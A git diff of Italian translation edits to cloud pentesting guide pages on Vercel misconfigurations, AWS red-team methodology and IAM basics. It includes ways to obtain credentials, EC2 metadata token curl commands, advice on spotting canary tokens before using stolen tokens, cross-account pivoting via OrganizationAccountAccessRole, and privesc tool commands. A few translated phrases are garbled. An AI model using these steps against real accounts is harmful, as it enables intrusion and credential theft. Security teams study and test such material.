altri. 5. **Gestione inadeguata degli indirizzi IP** - **Misconfigurazione:** Mancata gestione o rotazione appropriata degli indirizzi IP dedicati. -- **Rischio:** Spoofing IP, vulnerabilità di tracciamento e potenziale blacklist se gli IP sono associati ad attività malevole. +- **Rischio:** Spoofing IP, vulnerabilità di tracciamento e potenziale blacklisting se gli IP sono associati ad attività malevole. 6. **Inclusione non necessaria di contenitori di build** - **Misconfigurazione:** Aggiungere contenitori di build alla rete Secure Compute quando l'accesso backend non è richiesto durante le build. - **Rischio:** Superficie di attacco espansa, ritardi di provisioning aumentati e consumo non necessario delle risorse di rete. 7. **Mancata gestione sicura dei segreti di bypass** -- **Misconfigurazione:** Esporre o gestire in modo errato i segreti utilizzati per bypassare le protezioni di distribuzione. -- **Rischio:** Accesso non autorizzato a distribuzioni protette, consentendo agli attaccanti di manipolare o distribuire codice malevolo. +- **Misconfigurazione:** Esporre o gestire in modo errato i segreti utilizzati per bypassare le protezioni della distribuzione. +- **Rischio:** Accesso non autorizzato alle distribuzioni protette, consentendo agli attaccanti di manipolare o distribuire codice malevolo. 8. **Ignorare le configurazioni di failover della regione** - **Misconfigurazione:** Non impostare regioni di failover passive o configurazioni di failover errate. - **Rischio:** Interruzione del servizio durante le interruzioni della regione primaria, portando a disponibilità ridotta e potenziale incoerenza dei dati. @@ -417,7 +417,7 @@ Concedere accesso ai log di audit a membri del team non autorizzati. - **Rischio:** Impossibilità di connettere in modo sicuro i servizi backend necessari, causando fallimenti nelle distribuzioni e interruzioni operative. 10. **Impostazioni di rete insicure** - **Misconfigurazione:** Regole del firewall deboli, mancanza di crittografia o segmentazione di rete impropria all'interno della rete Secure Compute. -- **Rischio:** Intercettazione dei dati, accesso non autorizzato ai servizi backend e vulnerabilità aumentata agli attacchi. +- **Rischio:** Intercettazione dei dati, accesso non autorizzato ai servizi backend e vulnerabilità aumentate agli attacchi. --- @@ -428,7 +428,7 @@ Concedere accesso ai log di audit a membri del team non autorizzati. #### Configurazioni di sicurezza: - **Esposizione di variabili sensibili** -- **Misconfigurazione:** Prefissare variabili sensibili con `NEXT_PUBLIC_`, rendendole accessibili dal lato client. +- **Misconfigurazione:** Prefissare variabili sensibili con `NEXT_PUBLIC_`, rendendole accessibili sul lato client. - **Rischio:** Esposizione di chiavi API, credenziali di database o altri dati sensibili al pubblico, portando a violazioni dei dati. - **Sensibile disabilitato** - **Misconfigurazione:** Se disabilitato (predefinito) è possibile leggere i valori dei segreti generati. diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index 42dd5c66c..39405b1bf 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -33,7 +33,7 @@ Per auditare un ambiente AWS è molto importante sapere: quali **servizi vengono Dal punto di vista di un Red Team, il **primo passo per compromettere un ambiente AWS** è riuscire a ottenere alcune **credenziali**. Ecco alcune idee su come farlo: -- **Leak** su github (o simili) - OSINT +- **Leaks** in github (o simili) - OSINT - **Ingegneria** Sociale - Riutilizzo della **Password** (leak di password) - Vulnerabilità nelle Applicazioni Ospitate su AWS @@ -45,26 +45,26 @@ Dal punto di vista di un Red Team, il **primo passo per compromettere un ambient - **Dipendente** Interno - [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credenziali -Oppure **compromettendo un servizio non autenticato** esposto: +Oppure compromettendo un servizio non autenticato esposto: {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -O se stai facendo una **revisione** potresti semplicemente **chiedere le credenziali** con questi ruoli: +Oppure, se stai facendo una **revisione**, potresti semplicemente **chiedere le credenziali** con questi ruoli: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> Dopo aver ottenuto le credenziali, devi sapere **a chi appartengono quelle credenziali**, e **a cosa hanno accesso**, quindi devi eseguire alcune enumerazioni di base: +> Dopo aver ottenuto le credenziali, devi sapere **a chi appartengono quelle credenziali** e **a cosa hanno accesso**, quindi devi eseguire alcune enumerazioni di base: ## Enumerazione di base ### SSRF -Se hai trovato un SSRF in una macchina all'interno di AWS controlla questa pagina per trucchi: +Se hai trovato un SSRF in una macchina all'interno di AWS, controlla questa pagina per trucchi: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` > [!CAUTION] -> Nota che le aziende potrebbero utilizzare **canary tokens** per identificare quando **i token vengono rubati e utilizzati**. È consigliato controllare se un token è un canary token o meno prima di utilizzarlo.\ +> Nota che le aziende potrebbero utilizzare **canary tokens** per identificare quando **i token vengono rubati e utilizzati**. Si consiglia di controllare se un token è un canary token o meno prima di utilizzarlo.\ > Per ulteriori informazioni [**controlla questa pagina**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). ### Org Enumeration @@ -100,9 +100,9 @@ aws-services/aws-organizations-enum.md ### IAM Enumeration -Se hai abbastanza permessi, **controllare i privilegi di ciascuna entità all'interno dell'account AWS** ti aiuterà a capire cosa puoi fare tu e altre identità e come **escalare i privilegi**. +Se hai abbastanza permessi, **controllare i privilegi di ciascuna entità all'interno dell'account AWS** ti aiuterà a capire cosa puoi fare e cosa possono fare altre identità e come **escalare i privilegi**. -Se non hai abbastanza permessi per enumerare IAM, puoi **rubare e forzare** per scoprirli.\ +Se non hai abbastanza permessi per enumerare IAM, puoi **rubare bruteforce** per scoprirli.\ Controlla **come fare l'enumerazione e il brute-forcing** in: {{#ref}} @@ -110,12 +110,12 @@ aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> Ora che **hai alcune informazioni sulle tue credenziali** (e se sei un red team, speriamo che tu **non sia stato rilevato**). È tempo di scoprire quali servizi vengono utilizzati nell'ambiente.\ +> Ora che **hai alcune informazioni sulle tue credenziali** (e se sei un red team speriamo che **non sei stato rilevato**). È tempo di scoprire quali servizi vengono utilizzati nell'ambiente.\ > Nella sezione seguente puoi controllare alcuni modi per **enumerare alcuni servizi comuni.** ## Services Enumeration, Post-Exploitation & Persistence -AWS ha un numero sorprendente di servizi, nella pagina seguente troverai **informazioni di base, enumerazione** cheatsheets\*\*,\*\* come **evitare il rilevamento**, ottenere **persistenza** e altri **trucchi post-exploitation** su alcuni di essi: +AWS ha un numero straordinario di servizi, nella pagina seguente troverai **informazioni di base, enumerazione** cheatsheets\*\*,\*\* come **evitare il rilevamento**, ottenere **persistenza** e altri **trucchi di post-exploitation** su alcuni di essi: {{#ref}} aws-services/ @@ -152,16 +152,16 @@ https://book.hacktricks.xyz/ ### From the root/management account -Quando l'account di gestione crea nuovi account nell'organizzazione, viene creata una **nuova funzione** nel nuovo account, chiamata per impostazione predefinita **`OrganizationAccountAccessRole`** e viene concessa la policy **AdministratorAccess** all'**account di gestione** per accedere al nuovo account. +Quando l'account di gestione crea nuovi account nell'organizzazione, viene creata una **nuova role** nel nuovo account, chiamata per impostazione predefinita **`OrganizationAccountAccessRole`** e dando la policy **AdministratorAccess** all'**account di gestione** per accedere al nuovo account.
-Quindi, per accedere come amministratore a un account secondario, hai bisogno di: +Quindi, per accedere come amministratore a un account secondario, devi: -- **Compromettere** l'**account di gestione** e trovare l'**ID** degli **account secondari** e i **nomi** della **funzione** (OrganizationAccountAccessRole per impostazione predefinita) che consente all'account di gestione di accedere come admin. +- **Compromettere** l'**account di gestione** e trovare l'**ID** degli **account secondari** e i **nomi** della **role** (OrganizationAccountAccessRole per impostazione predefinita) che consente all'account di gestione di accedere come admin. - Per trovare gli account secondari, vai alla sezione organizzazioni nella console aws o esegui `aws organizations list-accounts` -- Non puoi trovare il nome delle funzioni direttamente, quindi controlla tutte le policy IAM personalizzate e cerca qualsiasi cosa che consenta **`sts:AssumeRole` sugli account secondari precedentemente scoperti**. -- **Compromettere** un **principale** nell'account di gestione con **`sts:AssumeRole` permesso sulla funzione negli account secondari** (anche se l'account consente a chiunque dell'account di gestione di impersonare, poiché è un account esterno, sono necessari permessi specifici `sts:AssumeRole`). +- Non puoi trovare il nome delle role direttamente, quindi controlla tutte le policy IAM personalizzate e cerca qualsiasi cosa che consenta **`sts:AssumeRole` sugli account secondari precedentemente scoperti**. +- **Compromettere** un **principale** nell'account di gestione con **`sts:AssumeRole` permesso sulla role negli account secondari** (anche se l'account consente a chiunque dell'account di gestione di impersonare, poiché è un account esterno, sono necessari permessi specifici `sts:AssumeRole`). ## Automated Tools @@ -234,12 +234,12 @@ pip install cartography AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` - [**starbase**](https://github.com/JupiterOne/starbase): Starbase raccoglie asset e relazioni da servizi e sistemi, inclusa l'infrastruttura cloud, applicazioni SaaS, controlli di sicurezza e altro, in una vista grafica intuitiva supportata dal database Neo4j. -- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Usa python2) Questo è uno strumento che cerca di **scoprire tutte** le [**risorse AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) create in un account. +- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Usa python2) Questo è uno strumento che cerca di **scoprire tutti** [**le risorse AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) create in un account. - [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): È uno strumento per **recuperare tutti gli indirizzi IP pubblici** (sia IPv4 che IPv6) associati a un account AWS. ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Scopri gli utenti più privilegiati nell'ambiente AWS scansionato, inclusi gli AWS Shadow Admins. Utilizza PowerShell. Puoi trovare la **definizione delle politiche privilegiate** nella funzione **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Scopri gli utenti più privilegiati nell'ambiente AWS scansionato, inclusi gli AWS Shadow Admins. Utilizza powershell. Puoi trovare la **definizione delle politiche privilegiate** nella funzione **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). - [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu è un **framework di sfruttamento AWS** open-source, progettato per test di sicurezza offensivi contro ambienti cloud. Può **enumerare**, trovare **configurazioni errate** e **sfruttarle**. Puoi trovare la **definizione dei permessi privilegiati** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) all'interno del dizionario **`user_escalation_methods`**. - Nota che pacu **controlla solo i tuoi percorsi di privesc** (non a livello di account). ```bash @@ -255,7 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) è uno script e una libreria per identificare i rischi nella configurazione di AWS Identity and Access Management (IAM) per un account AWS o un'organizzazione AWS. Modella i diversi utenti e ruoli IAM in un account come un grafo diretto, il che consente controlli per **l'escalation dei privilegi** e per percorsi alternativi che un attaccante potrebbe seguire per ottenere accesso a una risorsa o azione in AWS. Puoi controllare le **permissive utilizzate per trovare percorsi di privesc** nei nomi dei file che terminano con `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) è uno script e una libreria per identificare i rischi nella configurazione di AWS Identity and Access Management (IAM) per un account AWS o un'organizzazione AWS. Modella i diversi utenti e ruoli IAM in un account come un grafo diretto, il che consente controlli per **privilege escalation** e per percorsi alternativi che un attaccante potrebbe seguire per ottenere accesso a una risorsa o azione in AWS. Puoi controllare le **permissions utilizzate per trovare percorsi di privesc** nei nomi dei file che terminano con `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -277,8 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins pmapper --profile dev orgs create pmapper --profile dev orgs display ``` -- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining è uno strumento di valutazione della sicurezza AWS IAM che identifica le violazioni del principio del minimo privilegio e genera un rapporto HTML prioritizzato per il rischio.\ -Mostrerà i clienti **eccessivamente privilegiati**, le **politiche** inline e aws e quali **principali hanno accesso a esse**. (Non controlla solo per privesc ma anche altri tipi di permessi interessanti, si consiglia di usarlo). +- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining è uno strumento di valutazione della sicurezza AWS IAM che identifica le violazioni del principio del minimo privilegio e genera un rapporto HTML prioritizzato per rischio.\ +Mostrerà i clienti **eccessivamente privilegiati**, le **policy** inline e aws e quali **principali hanno accesso a esse**. (Controlla non solo per privesc ma anche altri tipi di permessi interessanti, consigliato da usare). ```bash # Install pip install cloudsplaining @@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output / # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler è uno strumento di sicurezza Open Source per eseguire valutazioni delle migliori pratiche di sicurezza AWS, audit, risposta agli incidenti, monitoraggio continuo, indurimento e prontezza forense. +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler è uno strumento di sicurezza Open Source per eseguire valutazioni delle migliori pratiche di sicurezza AWS, audit, risposta agli incidenti, monitoraggio continuo, indurimento e preparazione forense. ```bash # Install python3, jq and git # Install @@ -334,9 +334,9 @@ scout aws -p dev ### Audit Costante -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian è un motore di regole per gestire account e risorse nel cloud pubblico. Permette agli utenti di **definire politiche per abilitare un'infrastruttura cloud ben gestita**, che sia sia sicura che ottimizzata in termini di costi. Consolida molti degli script ad hoc che le organizzazioni hanno in uno strumento leggero e flessibile, con metriche e report unificati. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** è una piattaforma per **monitoraggio continuo della conformità, reportistica sulla conformità e automazione della sicurezza per il clou**d. In PacBot, le politiche di sicurezza e conformità sono implementate come codice. Tutte le risorse scoperte da PacBot vengono valutate rispetto a queste politiche per misurare la conformità alle politiche. Il framework **auto-fix** di PacBot fornisce la possibilità di rispondere automaticamente alle violazioni delle politiche intraprendendo azioni predefinite. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert è un framework di analisi dei dati **in tempo reale** senza server che ti consente di **ingestire, analizzare e avvisare** sui dati provenienti da qualsiasi ambiente, **utilizzando le fonti di dati e la logica di avviso che definisci**. I team di sicurezza informatica utilizzano StreamAlert per scansionare terabyte di dati di log ogni giorno per la rilevazione e risposta agli incidenti. +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian è un motore di regole per gestire account e risorse nel cloud pubblico. Permette agli utenti di **definire politiche per abilitare un'infrastruttura cloud ben gestita**, sicura e ottimizzata in termini di costi. Consolida molti degli script ad hoc che le organizzazioni hanno in uno strumento leggero e flessibile, con metriche e report unificati. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** è una piattaforma per **monitoraggio continuo della conformità, reporting della conformità e automazione della sicurezza per il clou**d. In PacBot, le politiche di sicurezza e conformità sono implementate come codice. Tutte le risorse scoperte da PacBot vengono valutate rispetto a queste politiche per misurare la conformità alle politiche. Il framework **auto-fix** di PacBot fornisce la possibilità di rispondere automaticamente alle violazioni delle politiche intraprendendo azioni predefinite. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert è un framework di analisi dei dati **in tempo reale** senza server che ti consente di **acquisire, analizzare e allertare** sui dati provenienti da qualsiasi ambiente, **utilizzando le fonti di dati e la logica di allerta che definisci**. I team di sicurezza informatica utilizzano StreamAlert per scansionare terabyte di dati di log ogni giorno per la rilevazione e risposta agli incidenti. ## DEBUG: Cattura delle richieste AWS cli ```bash diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 9c14f1c65..d07f30aa4 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -8,7 +8,7 @@ ### Account -In AWS c'è un **account root**, che è il **contenitore principale per tutti gli account** della tua **organizzazione**. Tuttavia, non è necessario utilizzare quell'account per distribuire risorse, puoi creare **altri account per separare diverse infrastrutture AWS** tra di loro. +In AWS c'è un **account root**, che è il **contenitore principale per tutti gli account** della tua **organizzazione**. Tuttavia, non è necessario utilizzare quell'account per distribuire risorse, puoi creare **altri account per separare le diverse infrastrutture AWS** tra di loro. Questo è molto interessante dal punto di vista della **sicurezza**, poiché **un account non sarà in grado di accedere alle risorse di un altro account** (a meno che non vengano create specificamente delle bridge), in questo modo puoi creare confini tra le distribuzioni. @@ -21,8 +21,8 @@ Pertanto, ci sono **due tipi di account in un'organizzazione** (stiamo parlando - Rimuovere account dall'organizzazione - Gestire inviti - Applicare politiche a entità (root, OU o account) all'interno dell'organizzazione -- Abilitare l'integrazione con i servizi AWS supportati per fornire funzionalità di servizio a tutti gli account nell'organizzazione. -- È possibile accedere come utente root utilizzando l'email e la password utilizzate per creare questo account root/organizzazione. +- Abilitare l'integrazione con i servizi AWS supportati per fornire funzionalità di servizio a tutti gli account dell'organizzazione. +- È possibile accedere come utente root utilizzando l'email e la password utilizzate per creare questo account/organizzazione root. L'account di gestione ha le **responsabilità di un account pagatore** ed è responsabile del pagamento di tutte le spese accumulate dagli account membri. Non puoi cambiare l'account di gestione di un'organizzazione. @@ -57,7 +57,7 @@ Esempi di SCP: essere disabilitati -- Negare ai ruoli di sicurezza/riposta agli incidenti di essere eliminati o +- Negare ai ruoli di sicurezza/risposta agli incidenti di essere eliminati o modificati. @@ -92,34 +92,34 @@ IAM può essere definito dalla sua capacità di gestire, controllare e governare ### [Utente root dell'account AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Quando crei per la prima volta un account Amazon Web Services (AWS), inizi con un'unica identità di accesso che ha **accesso completo a tutti** i servizi e le risorse AWS nell'account. Questo è l'utente _**root**_ dell'account AWS e si accede effettuando il login con **l'indirizzo email e la password che hai usato per creare l'account**. +Quando crei per la prima volta un account Amazon Web Services (AWS), inizi con un'unica identità di accesso che ha **accesso completo a tutti** i servizi e le risorse AWS nell'account. Questo è l'utente _**root**_ dell'account AWS e viene accesso effettuando il login con **l'indirizzo email e la password che hai usato per creare l'account**. Nota che un nuovo **utente admin** avrà **meno permessi dell'utente root**. -Dal punto di vista della sicurezza, è consigliato creare altri utenti ed evitare di utilizzare questo. +Da un punto di vista della sicurezza, è consigliato creare altri utenti ed evitare di utilizzare questo. ### [Utenti IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) Un _utente_ IAM è un'entità che crei in AWS per **rappresentare la persona o l'applicazione** che lo utilizza per **interagire con AWS**. Un utente in AWS consiste in un nome e credenziali (password e fino a due chiavi di accesso). -Quando crei un utente IAM, gli concedi **permessi** rendendolo un **membro di un gruppo di utenti** che ha politiche di permesso appropriate collegate (consigliato), o **allegando direttamente politiche** all'utente. +Quando crei un utente IAM, gli concedi **permessi** rendendolo un **membro di un gruppo di utenti** che ha politiche di permesso appropriate allegate (consigliato), o **allegando direttamente le politiche** all'utente. -Gli utenti possono avere **MFA abilitato per il login** tramite la console. I token API degli utenti con MFA abilitato non sono protetti da MFA. Se desideri **limitare l'accesso delle chiavi API di un utente utilizzando MFA**, devi indicare nella politica che per eseguire determinate azioni è necessaria la presenza di MFA (esempio [**qui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Gli utenti possono avere **MFA abilitato per il login** attraverso la console. I token API degli utenti con MFA abilitato non sono protetti da MFA. Se desideri **limitare l'accesso delle chiavi API di un utente utilizzando MFA**, devi indicare nella politica che per eseguire determinate azioni è necessaria la presenza di MFA (esempio [**qui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI - **ID chiave di accesso**: 20 caratteri alfanumerici casuali in maiuscolo come AKHDNAPO86BSHKDIRYT -- **ID chiave di accesso segreta**: 40 caratteri casuali in maiuscolo e minuscolo: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Non è possibile recuperare gli ID chiave di accesso segreta persi). +- **ID chiave di accesso segreta**: 40 caratteri casuali in maiuscolo e minuscolo: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Non è possibile recuperare gli ID delle chiavi di accesso segrete perse). -Ogni volta che hai bisogno di **cambiare la Chiave di Accesso**, questo è il processo che dovresti seguire:\ +Ogni volta che hai bisogno di **cambiare la chiave di accesso**, questo è il processo che dovresti seguire:\ &#xNAN;_Crea una nuova chiave di accesso -> Applica la nuova chiave al sistema/applicazione -> contrassegna quella originale come inattiva -> Testa e verifica che la nuova chiave di accesso funzioni -> Elimina la vecchia chiave di accesso_ ### MFA - Multi Factor Authentication Viene utilizzato per **creare un fattore aggiuntivo per l'autenticazione** oltre ai tuoi metodi esistenti, come la password, creando quindi un livello di autenticazione multi-fattore.\ -Puoi utilizzare un **applicazione virtuale gratuita o un dispositivo fisico**. Puoi utilizzare app come Google Authenticator gratuitamente per attivare un MFA in AWS. +Puoi utilizzare un **applicazione virtuale gratuita o un dispositivo fisico**. Puoi utilizzare app come google authentication gratuitamente per attivare un MFA in AWS. -Le politiche con condizioni MFA possono essere collegate ai seguenti: +Le politiche con condizioni MFA possono essere allegate ai seguenti: - Un utente o gruppo IAM - Una risorsa come un bucket Amazon S3, una coda Amazon SQS o un argomento Amazon SNS @@ -130,43 +130,43 @@ Nota che **le credenziali di `AssumeRole` non contengono queste informazioni**. ```bash aws sts get-session-token --serial-number --token-code ``` -As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), ci sono molti casi diversi in cui **MFA non può essere utilizzato**. +Come [**indicato qui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), ci sono molti casi diversi in cui **MFA non può essere utilizzato**. -### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) +### [Gruppi di utenti IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -Un [gruppo utente IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) è un modo per **allegare politiche a più utenti** contemporaneamente, il che può semplificare la gestione delle autorizzazioni per quegli utenti. **I ruoli e i gruppi non possono far parte di un gruppo**. +Un [gruppo di utenti IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) è un modo per **allegare politiche a più utenti** contemporaneamente, il che può semplificare la gestione delle autorizzazioni per quegli utenti. **I ruoli e i gruppi non possono far parte di un gruppo**. -Puoi allegare una **politica basata sull'identità a un gruppo utente** in modo che tutti gli **utenti** nel gruppo utente **ricevano le autorizzazioni della politica**. Non puoi **identificare un gruppo utente** come un **`Principal`** in una **politica** (come una politica basata sulle risorse) perché i gruppi si riferiscono alle autorizzazioni, non all'autenticazione, e i principal sono entità IAM autenticate. +Puoi allegare una **politica basata sull'identità a un gruppo di utenti** in modo che tutti gli **utenti** nel gruppo di utenti **ricevano le autorizzazioni della politica**. Non puoi identificare un **gruppo di utenti** come un **`Principal`** in una **politica** (come una politica basata sulle risorse) perché i gruppi si riferiscono alle autorizzazioni, non all'autenticazione, e i principal sono entità IAM autenticate. -Ecco alcune caratteristiche importanti dei gruppi utente: +Ecco alcune caratteristiche importanti dei gruppi di utenti: -- Un **gruppo** utente può **contenere molti utenti**, e un **utente** può **appartenere a più gruppi**. -- **I gruppi utente non possono essere annidati**; possono contenere solo utenti, non altri gruppi utente. -- Non esiste **un gruppo utente predefinito che include automaticamente tutti gli utenti nell'account AWS**. Se desideri avere un gruppo utente di questo tipo, devi crearlo e assegnare ogni nuovo utente ad esso. -- Il numero e la dimensione delle risorse IAM in un account AWS, come il numero di gruppi e il numero di gruppi di cui un utente può essere membro, sono limitati. Per ulteriori informazioni, vedere [IAM e le quote di AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +- Un **gruppo** di utenti può **contenere molti utenti**, e un **utente** può **appartenere a più gruppi**. +- **I gruppi di utenti non possono essere annidati**; possono contenere solo utenti, non altri gruppi di utenti. +- Non esiste **un gruppo di utenti predefinito che include automaticamente tutti gli utenti nell'account AWS**. Se desideri avere un gruppo di utenti di questo tipo, devi crearlo e assegnare ogni nuovo utente ad esso. +- Il numero e la dimensione delle risorse IAM in un account AWS, come il numero di gruppi e il numero di gruppi di cui un utente può essere membro, sono limitati. Per ulteriori informazioni, vedere [quote IAM e AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). -### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) +### [Ruoli IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -Un **ruolo IAM** è molto **simile** a un **utente**, in quanto è un'**identità con politiche di autorizzazione che determinano cosa** può e non può fare in AWS. Tuttavia, un ruolo **non ha alcuna credenziale** (password o chiavi di accesso) associata. Invece di essere associato in modo univoco a una persona, un ruolo è destinato a essere **assunto da chiunque ne abbia bisogno (e abbia abbastanza permessi)**. Un **utente IAM può assumere un ruolo per temporaneamente** acquisire autorizzazioni diverse per un compito specifico. Un ruolo può essere **assegnato a un** [**utente federato**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) che accede utilizzando un provider di identità esterno invece di IAM. +Un **ruolo IAM** è molto **simile** a un **utente**, in quanto è un **identità con politiche di autorizzazione che determinano cosa** può e non può fare in AWS. Tuttavia, un ruolo **non ha alcuna credenziale** (password o chiavi di accesso) associata. Invece di essere associato in modo univoco a una persona, un ruolo è destinato a essere **assunto da chiunque ne abbia bisogno (e abbia abbastanza permessi)**. Un **utente IAM può assumere un ruolo per temporaneamente** acquisire autorizzazioni diverse per un compito specifico. Un ruolo può essere **assegnato a un** [**utente federato**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) che accede utilizzando un provider di identità esterno invece di IAM. Un ruolo IAM consiste in **due tipi di politiche**: una **politica di fiducia**, che non può essere vuota, che definisce **chi può assumere** il ruolo, e una **politica di autorizzazione**, che non può essere vuota, che definisce **cosa può accedere**. -#### AWS Security Token Service (STS) +#### Servizio di Token di Sicurezza AWS (STS) -AWS Security Token Service (STS) è un servizio web che facilita l'**emissione di credenziali temporanee e con privilegi limitati**. È specificamente progettato per: +Il Servizio di Token di Sicurezza AWS (STS) è un servizio web che facilita l'**emissione di credenziali temporanee e con privilegi limitati**. È specificamente progettato per: -### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +### [Credenziali temporanee in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) **Le credenziali temporanee sono utilizzate principalmente con i ruoli IAM**, ma ci sono anche altri usi. Puoi richiedere credenziali temporanee che hanno un insieme di autorizzazioni più ristretto rispetto al tuo utente IAM standard. Questo **previene** che tu **esegua accidentalmente compiti non consentiti** dalle credenziali più ristrette. Un vantaggio delle credenziali temporanee è che scadono automaticamente dopo un periodo di tempo stabilito. Hai il controllo sulla durata per cui le credenziali sono valide. -### Policies +### Politiche -#### Policy Permissions +#### Permessi delle Politiche -Vengono utilizzate per assegnare autorizzazioni. Ci sono 2 tipi: +Vengono utilizzati per assegnare autorizzazioni. Ci sono 2 tipi: - Politiche gestite da AWS (preconfigurate da AWS) -- Politiche gestite dal cliente: configurate da te. Puoi creare politiche basate su politiche gestite da AWS (modificando una di esse e creando la tua), utilizzando il generatore di politiche (una vista GUI che ti aiuta a concedere e negare autorizzazioni) o scrivendo la tua. +- Politiche gestite dai clienti: configurate da te. Puoi creare politiche basate su politiche gestite da AWS (modificando una di esse e creando la tua), utilizzando il generatore di politiche (una vista GUI che ti aiuta a concedere e negare autorizzazioni) o scrivendo la tua. Per **default l'accesso** è **negato**, l'accesso sarà concesso se è stato specificato un ruolo esplicito.\ Se **esiste un singolo "Deny", sovrascriverà il "Allow"**, tranne per le richieste che utilizzano le credenziali di sicurezza root dell'account AWS (che sono consentite per impostazione predefinita). @@ -192,33 +192,33 @@ Se **esiste un singolo "Deny", sovrascriverà il "Allow"**, tranne per le richie ] } ``` -The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +I [campi globali che possono essere utilizzati per condizioni in qualsiasi servizio sono documentati qui](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +I [campi specifici che possono essere utilizzati per condizioni per servizio sono documentati 